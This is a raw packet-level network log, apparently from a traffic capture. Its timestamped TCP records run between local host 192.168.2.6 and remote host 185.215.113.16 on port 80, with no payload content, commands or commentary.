Nov 1, 2024 03:46:14.536084890 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.536494017 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.536511898 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.536524057 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.536535025 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.536542892 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.536547899 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.536571980 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.536602974 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.537502050 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.537523031 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.537537098 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.537553072 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.537554026 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.537585974 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.537617922 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.567018986 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.567096949 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.567112923 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.567208052 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.567409992 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.567428112 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.567442894 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.567470074 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.567508936 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.567986965 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.568003893 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.568017960 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.568032026 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.568043947 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.568068027 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.568100929 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.574563980 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.574625969 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.574664116 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.574680090 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.574713945 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.574743986 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.574987888 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.575006008 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.575021029 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.575050116 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.575071096 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.575627089 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.575643063 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.575658083 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.575681925 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.575722933 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.576236963 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.576255083 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.576292992 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.576334953 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.576623917 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.576639891 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.576654911 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.576668978 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.576677084 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.576713085 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.576749086 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.577637911 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.577656031 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.577670097 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.577685118 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.577692986 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.577697992 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.577719927 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.577766895 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.578691959 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.578711987 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.578722954 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.578735113 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.578744888 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.578748941 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.578790903 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.579672098 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.579689026 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.579701900 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.579714060 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.579726934 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.579770088 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.580667019 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.580678940 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.580689907 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.580702066 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.580713034 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.580727100 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.580750942 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.581662893 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.581675053 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.581686020 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.581697941 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.581710100 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.581715107 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.581736088 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.581754923 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.582469940 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.582482100 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.582493067 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.582504988 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.582515955 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.582523108 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.582528114 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.582560062 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.582582951 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.583483934 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.583496094 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.583507061 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.583518982 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.583530903 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.583538055 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.583580017 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.583610058 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.616606951 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.616693974 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.616715908 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.616728067 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.616770029 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.617057085 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.617113113 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.617191076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.617199898 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.617244959 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.624192953 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.624274969 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.624293089 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.624303102 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.624340057 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.624512911 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.624548912 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.624560118 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.624572039 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.624610901 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.641916990 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.641977072 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.642005920 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.642019033 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.642051935 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.642069101 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.642235994 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.642247915 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.642260075 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.642287970 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.642318964 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.642740965 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.642752886 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.642764091 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.642775059 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.642786980 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.642800093 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.642829895 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.643451929 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.643464088 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.643474102 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.643486023 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.643497944 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.643505096 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.643537998 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.644100904 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.644112110 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.644123077 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.644135952 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.644159079 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.644181967 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.644685984 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.644695997 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.644737959 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.652921915 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.652976036 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.653007984 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.653017998 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.653057098 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.653220892 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.653239012 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.653249979 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.653264046 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.653297901 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.653842926 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.653852940 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.653862953 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.653873920 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.653893948 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.653920889 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.654414892 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.654428005 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.654470921 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.654752970 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.654763937 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.654774904 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.654784918 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.654797077 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.654807091 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.654855967 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.655569077 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.655625105 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.684834957 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.684927940 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.684963942 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.684977055 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.685015917 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.685048103 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.685199022 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.685209990 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.685220957 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.685257912 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.685291052 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.685715914 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.685728073 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.685739040 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.685775995 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.685812950 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.692815065 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.692883015 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.692943096 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.692955971 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.693000078 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.693362951 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.693373919 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.693383932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.693397045 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.693418026 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.693442106 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.694175959 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.694186926 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.694196939 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.694207907 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.694231987 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.694257021 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.695064068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.695075989 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.695090055 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.695101976 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.695122004 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.695148945 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.695945978 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.695956945 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.695971012 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.695982933 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.695993900 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.695996046 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.696036100 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.696841002 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.696854115 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.696863890 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.696875095 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.696891069 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.696924925 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.697715044 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.697726965 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.697737932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.697748899 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.697761059 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.697771072 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.697772026 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.697802067 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.697834015 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.698669910 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.698682070 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.698692083 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.698705912 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.698723078 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.698756933 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.699501038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.699512959 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.699523926 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.699534893 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.699546099 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.699549913 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.699574947 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.699598074 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.700237036 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.700249910 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.700259924 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.700272083 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.700283051 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.700293064 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.700294018 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.700333118 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.701113939 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.701126099 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.701136112 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.701147079 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.701159954 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.701164961 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.701190948 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.701209068 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.734611988 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.734694004 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.734852076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.734867096 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.734903097 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.734919071 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.735076904 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.735096931 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.735131979 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.735143900 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.742170095 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.742229939 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.742240906 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.742360115 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.742523909 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.742536068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.742547035 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.742558956 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.742578983 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.742599964 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.759685993 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.759768009 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.759795904 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.759808064 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.759851933 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.760021925 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.760031939 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.760070086 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.760231972 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.760262012 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.760276079 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.760304928 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.760660887 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.760673046 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.760716915 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.760999918 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.761012077 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.761023045 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.761034966 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.761048079 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.761077881 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.761123896 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.761786938 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.761799097 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.761810064 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.761821032 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.761885881 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.762594938 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.762613058 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.762624025 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.762636900 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.762654066 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.762686968 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.770791054 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.770867109 CET	58524	80	192.168.2.6	185.215.113.16
